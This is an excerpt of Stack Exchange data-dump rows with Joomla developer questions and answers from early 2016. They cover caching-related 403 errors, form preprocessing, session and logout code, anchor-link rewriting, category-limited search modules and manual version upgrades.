  <row Id="15096" PostTypeId="1" CreationDate="2016-01-27T14:22:21.230" Score="2" ViewCount="520" Body="&lt;p&gt;When my user tries to edit an article in frontend, he gets &quot;403 - you don't have permission to access(#some id of article)&quot; and when he goes back in browser and tries again usually he can get access - sometimes he need to go back and try again few times. Now this is not happening all the time. I can even recreate this by adding user to different access group and after this trying to access some articles. Then I get 403 blabla, but after few tries I can access the articles editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes this? Is this because of some cache? Joomla cache is turned off, Apache cache is on. Maybe this is connected with my other stack question: &lt;a href=&quot;https://stackoverflow.com/questions/35009053/random-redirect-301-only-in-firefox&quot;&gt;https://stackoverflow.com/questions/35009053/random-redirect-301-only-in-firefox&lt;/a&gt; or could this be caused by rare packet drops?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I wanted to post this on official Joomla forum but my ip at work is banned on that forum. I really appreciate any help.&#xA;I also posted this on stackoverflow: &lt;a href=&quot;https://stackoverflow.com/questions/35031929/joomla-random-lack-of-permission-to-access&quot;&gt;https://stackoverflow.com/questions/35031929/joomla-random-lack-of-permission-to-access&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely,&#xA;Thomas&lt;/p&gt;&#xA;" OwnerUserId="7690" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-02-03T07:27:18.623" Title="Joomla random lack of access permission" Tags="|joomla-3.4|.htaccess-configuration|permissions|server|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15097" PostTypeId="1" AcceptedAnswerId="15219" CreationDate="2016-01-27T19:51:13.190" Score="2" ViewCount="1830" Body="&lt;p&gt;I have a series of checkboxes on my form that together form an array when POST'ed. I want to save this data as a string instead (e.g., &quot;##,##,##&quot;) before committing to the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have in the \models\componentname.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $filter  = JFilterInput::getInstance();&#xA;&#xA;    if(isset($data['dancer_id'])) {     &#xA;        $data['dancer_id'] = implode(&quot;,&quot;, $data['dancer_id']);&#xA;    }&#xA;&#xA;    if (parent::save($data))&#xA;    {&#xA;        return true;&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the custom field type I've created (\models\fields\fieldname.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;dancer&quot;&amp;gt;&amp;lt;input id=&quot;dancer_id&quot; type=&quot;checkbox&quot; name=&quot;dancer_id[]&quot; value=&quot;XXX&quot; /&amp;gt;XXX&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All other fields in the form save except for this one. Any thoughts? Also I'm not sure how the $data is being passed to the save() function ... maybe I've missed a call somewhere? To get this far, I followed the HelloWorld MVC component tutorial on the Joomla site and the response in &lt;a href=&quot;https://joomla.stackexchange.com/questions/9366/pre-processing-form-data-before-display-save-whats-the-standard-approach&quot;&gt;this related thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7590" LastEditorUserId="12352" LastEditDate="2019-03-17T11:16:58.993" LastActivityDate="2019-03-17T11:16:58.993" Title="Preprocessing form data before saving to the database" Tags="|joomla-3.x|database|form|array|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15099" PostTypeId="1" CreationDate="2016-01-27T23:35:05.650" Score="2" ViewCount="176" Body="&lt;p&gt;I am learning the basic concept of how to manage login process and sessions. I take it that to logout a user, you need to destroy the session created for him. I was trying to find out how joomla 3.4 handles &quot;logout&quot; action to verify whether I have correctly understand what I have learned. But I have trouble finding out which PHP file is actually taking care of the &quot;logout&quot; logic. Here is what I do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, I think no matter what fancy(to me) library or framework Joomla is using, down to bottom, there should be a file receiving &quot;$_POST&quot; datas, so I searched &lt;code&gt;$_POST&lt;/code&gt; among all PHP files in my site, and I found this file &quot;libraries/legacy/request/request.php&quot; with this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Class JRequest{&#xA;    .....&#xA;    public static function getVar($name, $default = null, $hash = 'default', $type = 'none', $mask = 0)&#xA;    {&#xA;        // Ensure hash and type are uppercase&#xA;        $hash = strtoupper($hash);&#xA;&#xA;        if ($hash === 'METHOD')&#xA;        {&#xA;            $hash = strtoupper($_SERVER['REQUEST_METHOD']);&#xA;        }&#xA;&#xA;        $type = strtoupper($type);&#xA;        $sig = $hash . $type . $mask;&#xA;&#xA;        // Get the input hash&#xA;        switch ($hash)&#xA;        {&#xA;            case 'GET':&#xA;                $input = &amp;amp;$_GET;&#xA;                break;&#xA;            case 'POST':&#xA;                $input = &amp;amp;$_POST;&#xA;                break;&#xA;            case 'FILES':&#xA;                $input = &amp;amp;$_FILES;&#xA;                break;&#xA;            case 'COOKIE':&#xA;                $input = &amp;amp;$_COOKIE;&#xA;                break;&#xA;            case 'ENV':&#xA;                $input = &amp;amp;$_ENV;&#xA;                break;&#xA;            case 'SERVER':&#xA;                $input = &amp;amp;$_SERVER;&#xA;                break;&#xA;            default:&#xA;                $input = &amp;amp;$_REQUEST;&#xA;                $hash = 'REQUEST';&#xA;                break;&#xA;        }&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to me Joomla has integrated &quot;$_POST&quot; data processing into this function so whenever Joomla wants to deal with user input, it will call this function. So I continue to search &lt;code&gt;JRequest::getVar&lt;/code&gt; among all PHP files, I found only 1 occurence, which is in &lt;code&gt;components/com_meida/views/medialist/view.html.php&lt;/code&gt; line 64&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dirname = JRequest::getVar('folder', '', '', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't look like having anything to do with login/logout processing. So I widen my search to just &lt;code&gt;getVar&lt;/code&gt;, although there are many occurences, none of them looks like relevant and this is where I got stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please not only point out the PHP file I am looking for but also tell me what is wrong with my approach? Thank you in advance. &lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-01-28T00:04:48.083" Title="Which file are actually taking care of &quot;Logout&quot; process? (killing sessions)" Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15100" PostTypeId="2" ParentId="14969" CreationDate="2016-01-27T23:56:15.843" Score="0" Body="&lt;p&gt;From all of my research and testing, I don't think this is possible. I ended up solving my quandary with a custom field instead of an alias.&lt;/p&gt;&#xA;" OwnerUserId="7590" LastActivityDate="2016-01-27T23:56:15.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15101" PostTypeId="2" ParentId="14989" CreationDate="2016-01-28T00:01:13.693" Score="1" Body="&lt;p&gt;Turns out what I was missing was the following from my \models\forms\filter_componentnames.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;list&quot;&amp;gt;&#xA;    &amp;lt;field&#xA;        name=&quot;limit&quot;&#xA;        type=&quot;limitbox&quot;&#xA;        class=&quot;input-mini&quot;&#xA;        default=&quot;25&quot;&#xA;        label=&quot;COM_CONTENT_LIST_LIMIT&quot;&#xA;        description=&quot;COM_CONTENT_LIST_LIMIT_DESC&quot;&#xA;        onchange=&quot;this.form.submit();&quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After adding this in, the pagination worked. Hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="7590" LastActivityDate="2016-01-28T00:01:13.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15102" PostTypeId="2" ParentId="15099" CreationDate="2016-01-28T00:04:48.083" Score="3" Body="&lt;p&gt;&lt;code&gt;JRequest::getVar&lt;/code&gt; is an old deprecated method to get global variables which is no longer used in Joomla 3.x&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Session:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla has it's own framework which can be found here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libaries/joomla/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The file you're specifically looking for that deals with destroying the session is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;libraries/joomla/session/session.php &lt;strong&gt;line 682&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See  on Github here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/session/session.php#L682&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/session/session.php#L682&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, this calls &lt;code&gt;$this-&amp;gt;_handler-&amp;gt;clear();&lt;/code&gt;, and the function for this is here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/session/handler/native.php#L243&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/session/handler/native.php#L243&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This unsets and destroys the session&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Logout:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to go further back before the session is dealt with, have a look at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/components/com_login/controller.php &lt;strong&gt;line 97&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-01-28T00:04:48.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15103" PostTypeId="1" CreationDate="2016-01-28T03:48:26.573" Score="0" ViewCount="175" Body="&lt;p&gt;When i use smart search and type a Zoo Category name, the smart search auto complete suggest this category.&#xA;But in results page the category link was not there, only articles was inside in this category...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why the smart search results page dont show Zoo Category link?&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2016-02-02T18:48:41.533" Title="How to add Zoo Category in Smart Search page result?" Tags="|smartsearch|zoo-cck|zoo|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15106" PostTypeId="1" AcceptedAnswerId="15111" CreationDate="2016-01-28T10:07:23.963" Score="4" ViewCount="928" Body="&lt;p&gt;I've got a problem with my Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got an anchor link in my template -- really simple, like this: &lt;code&gt;&amp;lt;a href='#top'&amp;gt;Go to top&amp;lt;/a&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great for most pages on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on some pages (eg search), we allow URL arguments. On those pages, Joomla is rewriting the anchor link to remove the URL arguments. This means it no longer points to the current page, so it doesn't work as simply &quot;go to top&quot;, it reloads the page without any parameters. This is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want is a plain simple html anchor link. I don't want Joomla to be clever and rewrite the URL; it doesn't need rewriting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to stop Joomla from rewriting this URL?&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2016-01-28T15:00:35.087" Title="Anchor link in template breaks when page has URL parameters" Tags="|templates|url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15108" PostTypeId="2" ParentId="15106" CreationDate="2016-01-28T12:17:37.783" Score="0" Body="&lt;p&gt;You could try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sourcerer &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;it enables you to wrap code in {source}Go to top{/source} - perhaps this will stop the rewrite&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2016-01-28T12:17:37.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15109" PostTypeId="1" CreationDate="2016-01-28T13:22:35.523" Score="1" ViewCount="321" Body="&lt;p&gt;I'm looking for a solution to have several search modules on one of my sites to search different article categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I would have 3 search modules located on certain pages, where:&lt;br/&gt;&#xA;1st search module, searches articles in category 1 and 2&lt;br/&gt;&#xA;2nd search module, searches articles in category 3 and 4&lt;br/&gt;&#xA;3th search module, searches articles in category 5 and 6&lt;br/&gt;&#xA;...etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most search components I've encountered have the option to select categories to search in, in its plugin options. But that effects all search modules.&lt;br/&gt;&#xA;We found this being possible with the Smart Search component, but it requires a Index which we noticed filled a huge amount of disk space on our server (more than the site itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess I kinda need a search modules where you can select categories to search in, in the module paramters or be able to create a filter for each modules to only search specific categories only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="2005" LastEditDate="2016-01-30T15:22:52.520" LastActivityDate="2016-01-30T23:47:22.863" Title="Have several search modules with different search output" Tags="|joomla-3.4|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15110" PostTypeId="2" ParentId="816" CreationDate="2016-01-28T13:52:59.853" Score="1" Body="&lt;p&gt;Okay, this isn't really an answer because I've not successfully migrated from 1.7.x to 2.5 but it might be useful information for someone else, or lead to an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the metadata for one-click updates for 1.x has been removed from &lt;a href=&quot;http://update.joomla.org/core/list.xml&quot; rel=&quot;nofollow&quot;&gt;the Joomla update site&lt;/a&gt; so it won't find any updates available. The update site maintainers like those who have not updated their site in a timely manner to feel the salty tears of shame as they navigate through this process. As most of the existing tutorials for upgrading just point out how to do the one-click upgrade this makes things rather tricky. However, I did find &lt;a href=&quot;http://www.hostknox.com/tutorials/joomla/upgrade/17-to-25/manual&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; for a manual update.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What did work&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Upgrading to latest 1.7 version (1.7.5):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Take a full backup of the database and files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the 1.7.0 -&gt; 1.7.5 Stable Patch release from &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6259&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unzip the patch update directly over your Joomla root.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run database updates manually. This CLI ninja-action helped for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls -al administrator/components/com_admin/sql/updates/mysql/1.7.*&#xA;...shows list of update sql files&#xA;&#xA;...now step through each file sequentially from the version after your original version:&#xA;$ cat administrator/components/com_admin/sql/updates/mysql/1.7.1-2011-09-15.sql.sql  | sed s/#_/my_table_prefix/g | mysql -uroot -p my_dbname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously you'll need to substitute in your own table prefix and database name, and also input your DB password each time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check you can log into the site as an admin and check everything is working. If not, you'll need to restore your backups and start again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;What didn't work&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Having done this, I followed a similar procedure, downloading and unzipping the 2.5.28 Stable Update release, deleting the &quot;unexisting&quot; files as suggested in the guide (note the path they give should end &lt;code&gt;script.php&lt;/code&gt; not &lt;code&gt;scripts.php&lt;/code&gt;), and running through the rest of the database updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I then had a fairly non-functional site with some error messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Call to undefined method JHtml::getJSObject() in /var/www/.../libraries/cms/html/behavior.php on line 299&#xA;Call to undefined method JAdministrator::setHeader() in /var/www/.../libraries/cms/html/behavior.php on line 765&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point I cut my losses and restored to 1.7.5. If anyone can get past this point feel free to add to this answer.&lt;/p&gt;&#xA;" OwnerUserId="7696" LastActivityDate="2016-01-28T13:52:59.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15111" PostTypeId="2" ParentId="15106" CreationDate="2016-01-28T15:00:35.087" Score="2" Body="&lt;p&gt;Another idea would be to provide the right URL for the anchor. In your template you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JUri::getInstance(); ?&amp;gt;#top&quot;&amp;gt;Go to top&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add the full URL of your current site in front of the &quot;#top&quot; &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-01-28T15:00:35.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15112" PostTypeId="2" ParentId="15096" CreationDate="2016-01-28T21:16:41.603" Score="3" Body="&lt;p&gt;I got a similar issue. Maybe my solution will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was not able to edit a second time my article and I was also receiving this message : You are not permitted to use that link to directly access that page (#article-id). The error was not appearing when my browser extension « Cache Killer » was activated and the same thing was going on with the mode debug. It could be a suitable solution for me, but not for my clients...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look to your .htaccess file, if your site is not the primary one you should take a look to both of your .htaccess. Ex : home/mysite/mytestsite the .htacess of « mysite » will overrule the .htaccess of « mytestsite »&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for : expiresdefault or ExpiresByType and comment it with a # and don't forget to clean your browser’s cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my part it was :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExpiresDefault &quot;now plus 1 hour&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that I comment :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ExpiresDefault &quot;now plus 1 hour&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clean your browser’s cache and that it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that my solution will help.&lt;/p&gt;&#xA;" OwnerUserId="7692" LastEditorUserId="7692" LastEditDate="2016-01-31T21:06:19.567" LastActivityDate="2016-01-31T21:06:19.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15113" PostTypeId="2" ParentId="15096" CreationDate="2016-01-28T22:08:39.877" Score="2" Body="&lt;p&gt;It well could be a cache problem, Joomla by default does not cache pages when logged in precisely because of such issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly adding an answer to note that Apache can be set to cache only specific extensions, so it should be set to cache only extensions for images, scripts, and fonts. This will still occasionally cause issues and will not add performance that much since browsers will usually just check if the file has changed which with HTTP/1.1 is reasonably fast. But it will reduce server load which your administrator will like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is your Joomla set to give pages .html extension? Your server might be set to cache static web pages and recognize such by the .html extension. That might be the actual reason for the issue, in which case you can fix it by changing a Joomla setting, without bothering an administrator at all.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2016-01-28T22:08:39.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15114" PostTypeId="2" ParentId="15109" CreationDate="2016-01-29T00:39:29.610" Score="2" Body="&lt;p&gt;Thanks for clarifying the question. I'll leave the Smart Search option in this answer as it may be useful to others in future.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Smart Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable Smart Search by enabling the &lt;code&gt;Content - Smart Search&lt;/code&gt; plugin and then go to Components -&gt; Smart Search and click on the &lt;kbd&gt;Index&lt;/kbd&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create filters for the required categories at &lt;code&gt;Components -&amp;gt; Smart Search -&amp;gt; Search Filters&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then create separate Smart Search modules using the filters you created in the previous step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Minitek Live Search (from €19.99)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/minitek-live-search&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/minitek-live-search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minitek Live Search module includes an option to filter search results by category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7NoiN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7NoiN.jpg&quot; alt=&quot;Minitek Live Search Category Filtering Option&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BT Smart Search (Free)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/bt-smart-search&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/bt-smart-search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BowThemes Smart Search looks like it has a filtering capability in the module but builds an index like Smart Search so may not suit your requirements.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-01-30T23:47:22.863" LastActivityDate="2016-01-30T23:47:22.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15115" PostTypeId="1" AcceptedAnswerId="15116" CreationDate="2016-01-29T10:53:00.077" Score="4" ViewCount="95" Body="&lt;p&gt;As per the &lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot;&gt;link here&lt;/a&gt; the version can be either 2.5 or 3.0. But my requirement is to have the version anything greater that 3.4 in 3.x series. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this can be done? Should I go via scrip file? Or is there a simple setup in xml file itself? &lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-01-29T11:59:22.953" Title="Extension manifest to set version as 3.4 or greater" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15116" PostTypeId="2" ParentId="15115" CreationDate="2016-01-29T11:35:37.203" Score="6" Body="&lt;p&gt;You don't have to use only 2.5 or 3.0, you can also use 3.4 or any other Joomla version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;component&quot; version=&quot;3.4&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The version attribute specifies the minimum Joomla! version needed for your extension, ie your extension will work with 3.4 and every version after that.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2016-01-29T11:59:22.953" LastActivityDate="2016-01-29T11:59:22.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15117" PostTypeId="1" CreationDate="2016-01-29T15:44:55.030" Score="0" ViewCount="170" Body="&lt;p&gt;I'm new to joomla just used Bootstrap alone before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do you change the active tab in the navbar?&#xA;Without joomla I just made an own .php file for every site and made the &#xA;tab  manually active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do you do that using joomla? Here one has just one php file?!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;nav navbar-nav&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Heute anwesend&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;../joomla/index.php/anmelden&quot;&amp;gt;anmelden&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#contact&quot;&amp;gt;Section 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#contact&quot;&amp;gt;Section 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#contact&quot;&amp;gt;Gästebuch&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here I can just set one &quot;section&quot; to active. I hope you guys understand my problem.&lt;/p&gt;&#xA;" OwnerUserId="7698" LastActivityDate="2016-02-04T11:38:32.983" Title="Blank-Bootstrap Switch active tab" Tags="|bootstrap|active|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15118" PostTypeId="1" CreationDate="2016-01-29T15:51:45.100" Score="0" ViewCount="93" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2nTI6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2nTI6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla Version: 3.4&#xA;Possible related extension: Community Builder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the form of a logout button on my site, the method being &quot;post&quot; means when users click &quot;logout&quot;, a &lt;code&gt;$_POST&lt;/code&gt; or &lt;code&gt;#_REQUEST&lt;/code&gt; is being generated. I think no matter what libraries or framework Joomla is using, there should still be somewhere directly taking care of these variables. So I search &lt;code&gt;$_POST&lt;/code&gt; and &lt;code&gt;$_REQUEST&lt;/code&gt; among all *.php files, but I couldn't find anything that seem to be what I am seeking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where is the code?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-02-02T09:46:05.940" Title="When users click &quot;logout&quot;, where is the global variable sent to?" Tags="|joomla-3.4|user|login|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15120" PostTypeId="2" ParentId="8984" CreationDate="2016-01-30T00:52:53.807" Score="2" Body="&lt;p&gt;A couple of things to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &quot;System - Remember Me&quot; plugin before running the upgrade step (and re-enable after successful update). It's not clear whether you still need to do this step (see answers to &lt;a href=&quot;https://joomla.stackexchange.com/q/244/120&quot;&gt;Still required to turn Remember me off when migrating from 2.5 to 3.x?&lt;/a&gt;) but it won't do any harm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The most likely cause is an extension which is not Joomla 3.x compatible. Ensure all third party extensions are updated to the latest versions and are Joomla 3.x compatible before running the update step.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the update still does not work, I suggest removing as many third party extensions before the update as possible - especially extensions that can be reinstalled easily without losing associated data or where you would need to spend a lot of time reconfiguring settings etc.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-08-09T12:44:50.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
